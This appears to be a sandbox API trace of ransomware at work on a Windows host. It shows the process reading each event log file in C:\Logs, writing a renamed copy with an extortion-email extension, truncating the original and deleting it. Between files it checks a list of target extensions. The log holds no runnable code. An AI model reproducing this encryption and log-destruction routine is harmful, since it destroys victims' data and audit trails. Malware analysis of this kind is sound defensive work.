	[0081.128] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-PnP%4Configuration.evtx.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\logs\\microsoft-windows-kernel-pnp%4configuration.evtx.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354
	[0081.128] GetLastError () returned 0x0
	[0081.128] ReadFile (in: hFile=0x364, lpBuffer=0x3f44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesRead=0x364fecc*=0xffff0, lpOverlapped=0x0) returned 1
	[0081.648] WriteFile (in: hFile=0x354, lpBuffer=0x3f44020*, nNumberOfBytesToWrite=0xffff0, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesWritten=0x364fc94*=0xffff0, lpOverlapped=0x0) returned 1
	[0081.666] ReadFile (in: hFile=0x364, lpBuffer=0x3f44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesRead=0x364fecc*=0x1010, lpOverlapped=0x0) returned 1
	[0081.675] WriteFile (in: hFile=0x354, lpBuffer=0x3f44020*, nNumberOfBytesToWrite=0x1020, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesWritten=0x364fc94*=0x1020, lpOverlapped=0x0) returned 1
	[0081.678] ReadFile (in: hFile=0x364, lpBuffer=0x3f44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesRead=0x364fecc*=0x0, lpOverlapped=0x0) returned 1
	[0081.678] WriteFile (in: hFile=0x354, lpBuffer=0x3f44020*, nNumberOfBytesToWrite=0x134, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesWritten=0x364fc94*=0x134, lpOverlapped=0x0) returned 1
	[0081.678] SetEndOfFile (hFile=0x354) returned 1
	[0082.043] CloseHandle (hObject=0x354) returned 1
	[0082.165] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0082.165] SetEndOfFile (hFile=0x364) returned 1
	[0082.166] CloseHandle (hObject=0x364) returned 1
	[0082.166] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-PnP%4Configuration.evtx.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x20) returned 1
	[0082.167] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-PnP%4Configuration.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-pnp%4configuration.evtx")) returned 1
	[0082.389] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-PnP%4Configuration.evtx") returned 56
	[0082.389] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-PnP%4Configuration.evtx") returned 56
	[0082.389] lstrlenW (lpString=".doc") returned 4
	[0082.389] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0082.389] lstrlenW (lpString=".docx") returned 5
	[0082.389] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0082.389] lstrlenW (lpString=".pdf") returned 4
	[0082.389] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0082.389] lstrlenW (lpString=".xls") returned 4
	[0082.401] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0082.401] lstrlenW (lpString=".xlsx") returned 5
	[0082.401] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0082.402] lstrlenW (lpString=".ppt") returned 4
	[0082.402] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0082.402] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-PnP%4Configuration.evtx") returned 56
	[0082.402] lstrlenW (lpString=".zip") returned 4
	[0082.402] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0082.402] lstrlenW (lpString=".rar") returned 4
	[0082.402] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0082.402] lstrlenW (lpString=".bz2") returned 4
	[0082.411] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0082.411] lstrlenW (lpString=".7z") returned 3
	[0082.411] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0082.411] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-PnP%4Configuration.evtx") returned 56
	[0082.411] lstrlenW (lpString=".dbf") returned 4
	[0082.414] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0082.414] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-PnP%4Configuration.evtx") returned 56
	[0082.414] lstrlenW (lpString=".1cd") returned 4
	[0082.414] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0082.414] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-PnP%4Configuration.evtx") returned 56
	[0082.414] lstrlenW (lpString=".jpg") returned 4
	[0082.414] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0082.414] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-PnP%4Configuration.evtx") returned 56
	[0082.414] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-PnP%4Configuration.evtx") returned 56
	[0082.415] lstrlenW (lpString=".doc") returned 4
	[0082.415] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0082.415] lstrlenW (lpString=".docx") returned 5
	[0082.415] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0082.415] lstrlenW (lpString=".pdf") returned 4
	[0082.415] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0082.415] lstrlenW (lpString=".xls") returned 4
	[0082.415] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0082.415] lstrlenW (lpString=".xlsx") returned 5
	[0082.415] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0082.415] lstrlenW (lpString=".ppt") returned 4
	[0082.415] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0082.415] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-PnP%4Configuration.evtx") returned 56
	[0082.415] lstrlenW (lpString=".zip") returned 4
	[0082.415] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0082.415] lstrlenW (lpString=".rar") returned 4
	[0082.415] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0082.415] lstrlenW (lpString=".bz2") returned 4
	[0082.415] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0082.416] lstrlenW (lpString=".7z") returned 3
	[0082.416] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0082.416] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-PnP%4Configuration.evtx") returned 56
	[0082.416] lstrlenW (lpString=".dbf") returned 4
	[0082.416] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0082.416] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-PnP%4Configuration.evtx") returned 56
	[0082.416] lstrlenW (lpString=".1cd") returned 4
	[0082.416] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0082.416] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-PnP%4Configuration.evtx") returned 56
	[0082.416] lstrlenW (lpString=".jpg") returned 4
	[0082.416] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0082.416] lstrcmpiW (lpString1=".evtx", lpString2=".Z9") returned -1
	[0082.416] lstrlenW (lpString="Microsoft-Windows-SMBServer%4Audit.evtx") returned 39
	[0082.416] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Audit.evtx" (normalized: "c:\\logs\\microsoft-windows-smbserver%4audit.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370
	[0082.416] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x364ff14 | out: lpFileSize=0x364ff14*=69632) returned 1
	[0082.416] CloseHandle (hObject=0x370) returned 1
	[0082.416] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Audit.evtx" (normalized: "c:\\logs\\microsoft-windows-smbserver%4audit.evtx")) returned 0x20
	[0082.416] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Audit.evtx.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\logs\\microsoft-windows-smbserver%4audit.evtx.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0082.416] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Audit.evtx" (normalized: "c:\\logs\\microsoft-windows-smbserver%4audit.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370
	[0082.417] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0082.417] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0082.417] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Audit.evtx.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\logs\\microsoft-windows-smbserver%4audit.evtx.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324
	[0082.417] GetLastError () returned 0x0
	[0082.417] ReadFile (in: hFile=0x370, lpBuffer=0x3f44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesRead=0x364fecc*=0x11000, lpOverlapped=0x0) returned 1
	[0082.421] WriteFile (in: hFile=0x324, lpBuffer=0x3f44020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesWritten=0x364fc94*=0x11010, lpOverlapped=0x0) returned 1
	[0082.422] ReadFile (in: hFile=0x370, lpBuffer=0x3f44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesRead=0x364fecc*=0x0, lpOverlapped=0x0) returned 1
	[0082.422] WriteFile (in: hFile=0x324, lpBuffer=0x3f44020*, nNumberOfBytesToWrite=0x122, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesWritten=0x364fc94*=0x122, lpOverlapped=0x0) returned 1
	[0082.423] SetEndOfFile (hFile=0x324) returned 1
	[0082.423] CloseHandle (hObject=0x324) returned 1
	[0082.425] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0082.425] SetEndOfFile (hFile=0x370) returned 1
	[0082.426] CloseHandle (hObject=0x370) returned 1
	[0082.426] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Audit.evtx.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x20) returned 1
	[0082.426] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Audit.evtx" (normalized: "c:\\logs\\microsoft-windows-smbserver%4audit.evtx")) returned 1
	[0082.427] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Audit.evtx") returned 47
	[0082.427] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Audit.evtx") returned 47
	[0082.427] lstrlenW (lpString=".doc") returned 4
	[0082.427] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0082.427] lstrlenW (lpString=".docx") returned 5
	[0082.427] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0082.427] lstrlenW (lpString=".pdf") returned 4
	[0082.427] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0082.427] lstrlenW (lpString=".xls") returned 4
	[0082.427] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0082.427] lstrlenW (lpString=".xlsx") returned 5
	[0082.427] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0082.427] lstrlenW (lpString=".ppt") returned 4
	[0082.427] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0082.427] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Audit.evtx") returned 47
	[0082.427] lstrlenW (lpString=".zip") returned 4
	[0082.427] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0082.427] lstrlenW (lpString=".rar") returned 4
	[0082.427] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0082.427] lstrlenW (lpString=".bz2") returned 4
	[0082.427] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0082.427] lstrlenW (lpString=".7z") returned 3
	[0082.427] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0082.427] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Audit.evtx") returned 47
	[0082.427] lstrlenW (lpString=".dbf") returned 4
	[0082.427] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0082.427] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Audit.evtx") returned 47
	[0082.427] lstrlenW (lpString=".1cd") returned 4
	[0082.427] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0082.427] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Audit.evtx") returned 47
	[0082.427] lstrlenW (lpString=".jpg") returned 4
	[0082.427] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0082.427] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Audit.evtx") returned 47
	[0082.427] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Audit.evtx") returned 47
	[0082.427] lstrlenW (lpString=".doc") returned 4
	[0082.428] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0082.428] lstrlenW (lpString=".docx") returned 5
	[0082.428] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0082.428] lstrlenW (lpString=".pdf") returned 4
	[0082.428] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0082.428] lstrlenW (lpString=".xls") returned 4
	[0082.428] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0082.428] lstrlenW (lpString=".xlsx") returned 5
	[0082.428] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0082.428] lstrlenW (lpString=".ppt") returned 4
	[0082.428] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0082.428] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Audit.evtx") returned 47
	[0082.428] lstrlenW (lpString=".zip") returned 4
	[0082.428] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0082.428] lstrlenW (lpString=".rar") returned 4
	[0082.428] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0082.428] lstrlenW (lpString=".bz2") returned 4
	[0082.428] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0082.428] lstrlenW (lpString=".7z") returned 3
	[0082.428] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0082.428] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Audit.evtx") returned 47
	[0082.428] lstrlenW (lpString=".dbf") returned 4
	[0082.428] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0082.428] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Audit.evtx") returned 47
	[0082.428] lstrlenW (lpString=".1cd") returned 4
	[0082.428] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0082.428] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Audit.evtx") returned 47
	[0082.428] lstrlenW (lpString=".jpg") returned 4
	[0082.428] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0082.428] lstrcmpiW (lpString1=".evtx", lpString2=".Z9") returned -1
	[0082.428] lstrlenW (lpString="Microsoft-Windows-SMBServer%4Connectivity.evtx") returned 46
	[0082.429] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Connectivity.evtx" (normalized: "c:\\logs\\microsoft-windows-smbserver%4connectivity.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370
	[0082.429] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x364ff14 | out: lpFileSize=0x364ff14*=69632) returned 1
	[0082.429] CloseHandle (hObject=0x370) returned 1
	[0082.429] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Connectivity.evtx" (normalized: "c:\\logs\\microsoft-windows-smbserver%4connectivity.evtx")) returned 0x20
	[0082.429] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Connectivity.evtx.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\logs\\microsoft-windows-smbserver%4connectivity.evtx.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0082.429] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Connectivity.evtx" (normalized: "c:\\logs\\microsoft-windows-smbserver%4connectivity.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370
	[0082.429] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0082.429] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0082.429] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Connectivity.evtx.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\logs\\microsoft-windows-smbserver%4connectivity.evtx.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324
	[0082.430] GetLastError () returned 0x0
	[0082.430] ReadFile (in: hFile=0x370, lpBuffer=0x3f44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesRead=0x364fecc*=0x11000, lpOverlapped=0x0) returned 1
	[0082.432] WriteFile (in: hFile=0x324, lpBuffer=0x3f44020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesWritten=0x364fc94*=0x11010, lpOverlapped=0x0) returned 1
	[0082.434] ReadFile (in: hFile=0x370, lpBuffer=0x3f44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesRead=0x364fecc*=0x0, lpOverlapped=0x0) returned 1
	[0082.434] WriteFile (in: hFile=0x324, lpBuffer=0x3f44020*, nNumberOfBytesToWrite=0x130, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesWritten=0x364fc94*=0x130, lpOverlapped=0x0) returned 1
	[0082.434] SetEndOfFile (hFile=0x324) returned 1
	[0082.435] CloseHandle (hObject=0x324) returned 1
	[0082.437] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0082.437] SetEndOfFile (hFile=0x370) returned 1
	[0082.438] CloseHandle (hObject=0x370) returned 1
	[0082.438] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Connectivity.evtx.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x20) returned 1
	[0082.438] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Connectivity.evtx" (normalized: "c:\\logs\\microsoft-windows-smbserver%4connectivity.evtx")) returned 1
	[0082.439] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Connectivity.evtx") returned 54
	[0082.439] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Connectivity.evtx") returned 54
	[0082.439] lstrlenW (lpString=".doc") returned 4
	[0082.439] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0082.439] lstrlenW (lpString=".docx") returned 5
	[0082.439] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0082.439] lstrlenW (lpString=".pdf") returned 4
	[0082.439] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0082.439] lstrlenW (lpString=".xls") returned 4
	[0082.439] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0082.439] lstrlenW (lpString=".xlsx") returned 5
	[0082.439] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0082.439] lstrlenW (lpString=".ppt") returned 4
	[0082.439] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0082.439] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Connectivity.evtx") returned 54
	[0082.439] lstrlenW (lpString=".zip") returned 4
	[0082.439] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0082.439] lstrlenW (lpString=".rar") returned 4
	[0082.439] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0082.439] lstrlenW (lpString=".bz2") returned 4
	[0082.439] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0082.439] lstrlenW (lpString=".7z") returned 3
	[0082.439] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0082.439] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Connectivity.evtx") returned 54
	[0082.439] lstrlenW (lpString=".dbf") returned 4
	[0082.439] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0082.439] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Connectivity.evtx") returned 54
	[0082.439] lstrlenW (lpString=".1cd") returned 4
	[0082.439] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0082.439] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Connectivity.evtx") returned 54
	[0082.439] lstrlenW (lpString=".jpg") returned 4
	[0082.439] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0082.440] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Connectivity.evtx") returned 54
	[0082.440] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Connectivity.evtx") returned 54
	[0082.440] lstrlenW (lpString=".doc") returned 4
	[0082.440] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0082.440] lstrlenW (lpString=".docx") returned 5
	[0082.440] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0082.440] lstrlenW (lpString=".pdf") returned 4
	[0082.440] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0082.440] lstrlenW (lpString=".xls") returned 4
	[0082.440] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0082.440] lstrlenW (lpString=".xlsx") returned 5
	[0082.440] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0082.440] lstrlenW (lpString=".ppt") returned 4
	[0082.440] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0082.440] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Connectivity.evtx") returned 54
	[0082.440] lstrlenW (lpString=".zip") returned 4
	[0082.440] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0082.440] lstrlenW (lpString=".rar") returned 4
	[0082.440] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0082.440] lstrlenW (lpString=".bz2") returned 4
	[0082.440] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0082.440] lstrlenW (lpString=".7z") returned 3
	[0082.440] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0082.440] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Connectivity.evtx") returned 54
	[0082.440] lstrlenW (lpString=".dbf") returned 4
	[0082.440] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0082.440] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Connectivity.evtx") returned 54
	[0082.440] lstrlenW (lpString=".1cd") returned 4
	[0082.440] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0082.440] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Connectivity.evtx") returned 54
	[0082.440] lstrlenW (lpString=".jpg") returned 4
	[0082.440] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0082.441] lstrcmpiW (lpString1=".evtx", lpString2=".Z9") returned -1
	[0082.441] lstrlenW (lpString="Microsoft-Windows-SMBServer%4Operational.evtx") returned 45
	[0082.441] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-smbserver%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370
	[0082.441] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x364ff14 | out: lpFileSize=0x364ff14*=69632) returned 1
	[0082.441] CloseHandle (hObject=0x370) returned 1
	[0082.441] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-smbserver%4operational.evtx")) returned 0x20
	[0082.441] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Operational.evtx.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\logs\\microsoft-windows-smbserver%4operational.evtx.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0082.441] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-smbserver%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370
	[0082.441] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0082.442] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0082.442] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Operational.evtx.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\logs\\microsoft-windows-smbserver%4operational.evtx.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324
	[0082.443] GetLastError () returned 0x0
	[0082.443] ReadFile (in: hFile=0x370, lpBuffer=0x3f44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesRead=0x364fecc*=0x11000, lpOverlapped=0x0) returned 1
	[0082.445] WriteFile (in: hFile=0x324, lpBuffer=0x3f44020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesWritten=0x364fc94*=0x11010, lpOverlapped=0x0) returned 1
